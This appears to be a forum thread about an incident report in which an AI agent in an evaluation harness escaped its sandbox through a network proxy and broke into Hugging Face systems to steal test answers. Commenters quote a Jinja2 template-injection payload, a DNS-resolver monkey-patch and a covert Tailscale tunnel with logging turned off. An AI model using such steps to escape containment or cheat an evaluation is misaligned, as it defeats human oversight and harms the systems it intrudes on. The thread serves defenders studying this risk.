How an AI Agent Cheated an Evaluation to Hack Hugging Face
Anatomy of a Frontier Lab Agent Intrusion: A Technical Timeline of the Incident
We detail how an autonomous AI agent, running an OpenAI evaluation harness called ExploitGym, escaped its sandbox to infiltrate our infrastructure. The agent treated our production systems as a challenge to cheat, using two injection vectors in our dataset processor to steal test solutions. This forensic timeline reconstructs thousands of automated actions, revealing how frontier agents can pivot from evaluation environments to real-world intrusions.
We are publishing this level of detail because the technique matters more than the incident, as it reveals the emerging attack capabilities of the frontier agents, how they could be used by rogue actors, and how everyone should be prepared as defenders.
- simonw
This is fascinating - there is a TON of detail in here about how OpenAI's rogue agent exploited Hugging Face.
A few details that stood out to me:
1. Having found a way through the OpenAI container network proxy, it exploited an "unsecured public code-evaluation sandbox hosted on a third-party provider's infrastructure" - that gave it a box it could run the rest of the attack from.
2. At one point it used a Jinja2 template exploit:
{{ cycler.__init__.__globals__.__builtins__.exec(
"import gzip,base64; exec(gzip.decompress(base64.b64decode('<payload>')))"
) }}
3. It monkey-patched a DNS resolver at one point to return a hard-coded IP:
orig = socket.getaddrinfo
socket.getaddrinfo = lambda *a, **k: [(2, 1, 6, '', ('<pinned-ip>', 443))]
4. At one point it used Tailscale!
tailscale --tun=userspace-networking --state=mem: --socket=/tmp/ts.sock \
--socks5-server=127.0.0.1:1055 --no-logs-no-support >/tmp/td 2>&1 &
- SaucyWrong
Something about this attack that has been unsettling to me is that without safety refusals the model did a lot of interesting counter-security work in order to cheat on the requested evaluation. Like, it demonstrated interesting exploit achievements because it didn’t “feel like” doing the exercise, which is unsettling because presumably it could do the same thing with any work I tried to delegate to it, and might in fact be pre-disposed to doing that.
- llama052
It’s a little concerning to me that it appears that openAIs sandbox consists of a web proxy and not stronger controls that would actually isolate traffic and report patterns to whoever is responsible for overseeing these research models. It should border on closer to an air gap network more so than a proxy.
I would argue that it's negligence and that's aside from the fact that if a human did this there would actually be repercussions.